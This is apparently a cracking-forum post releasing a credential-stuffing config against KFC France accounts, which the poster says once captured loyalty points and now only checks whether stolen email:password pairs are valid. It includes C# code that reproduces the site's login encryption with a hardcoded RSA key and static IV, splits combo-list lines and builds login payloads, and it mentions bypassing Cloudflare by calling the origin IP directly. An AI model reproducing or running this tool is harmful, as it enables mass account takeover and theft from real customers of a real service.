jim2244
Skillshot Master
2
MONTHS
2 2 MONTHS OF SERVICE
LEVEL 2
700 XP
Hello,
Since KFC.fr added 2FA I'm releasing the new updated config I've been using while few people had one for the past 3 months.
It was capturing points originally but since KFC added 2FA it's now just checking if the account is valid.
The config is using C# code in order to encrypt all required data being sent to KFC's authentication with AES encryption.
I would encourage you to read the full code to comprehend how it works.
It also has a shitty "cloudflare bypass" because these dumbasses allows you to directly send requests to their servers's IP address.
This is the C# code used :
Code:
This is a quick preview :
LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE
LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE
Since KFC.fr added 2FA I'm releasing the new updated config I've been using while few people had one for the past 3 months.
It was capturing points originally but since KFC added 2FA it's now just checking if the account is valid.
The config is using C# code in order to encrypt all required data being sent to KFC's authentication with AES encryption.
I would encourage you to read the full code to comprehend how it works.
It also has a shitty "cloudflare bypass" because these dumbasses allows you to directly send requests to their servers's IP address.
This is the C# code used :
Code:
Code:
const string PublicKey = "-----BEGIN PUBLIC KEY-----\n MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgHO4AqKut5xbco9jgfz+bqkx9v0M\nO9t5DGzZEltqqZE5tNzHbve2D+KPWTeD+G9q2PilkPPHRz2+r5MgwlD4dGP6zum3\nhNj27CCIgUeaIJGhX/JlmBO3bgFGCcuemuKc+ygFJYvf0RzCo5svfn/6cKSHeovl\norMqQbQU3GrHLVA9AgMBAAE=\n -----END PUBLIC KEY-----";
const string IV = "@qwertyuiop12344";
public string GenerateRandomKey(int length)
{
const string chars = "@abcdefghijklmnopqrstuvwxyz123456789";
var random = new Random();
var result = new string(Enumerable.Repeat(chars, length)
.Select(s => s[random.Next(s.Length)]).ToArray());
return result;
}
public string Encrypt(string plainText, string key)
{
using (Aes aesAlg = Aes.Create())
{
aesAlg.Key = Encoding.UTF8.GetBytes(key);
aesAlg.IV = Encoding.UTF8.GetBytes(IV);
ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream msEncrypt = new MemoryStream())
{
using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
{
using (StreamWriter swEncrypt = new StreamWriter(csEncrypt))
{
swEncrypt.Write(plainText);
}
return Convert.ToBase64String(msEncrypt.ToArray());
}
}
}
}
public string EncryptWithPublicKey(string data)
{
using (RSACryptoServiceProvider rsa = new RSACryptoServiceProvider())
{
rsa.ImportFromPem(PublicKey);
byte[] dataBytes = Encoding.UTF8.GetBytes(data);
byte[] encryptedBytes = rsa.Encrypt(dataBytes, false);
return Convert.ToBase64String(encryptedBytes);
}
}
public string Login(string email, string password)
{
var aesKey = GenerateRandomKey(16);
var rsaEncryptedKey = EncryptWithPublicKey(aesKey);
var encryptedEmail = Encrypt(email, aesKey);
var encryptedPassword = Encrypt(password, aesKey);
var data = "{\"email\":\"" + encryptedEmail + "\",\"password\":\"" + encryptedPassword + "\"}";
var encryptedData = Encrypt(data, aesKey);
return "{\"data\":\"" + encryptedData + "\",\"key\":\"" + rsaEncryptedKey + "\"}";
}
var s = data.Line.Data.Split(':');
if (s.Length != 2) {
data.STATUS = "INVALID";
return;
}
var login = s[0];
var pass = s[1];
var loginPayload = Login(login, pass);
LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE LIKE
You must reply in the thread to view hidden content. Upgrade your account to always see hidden content.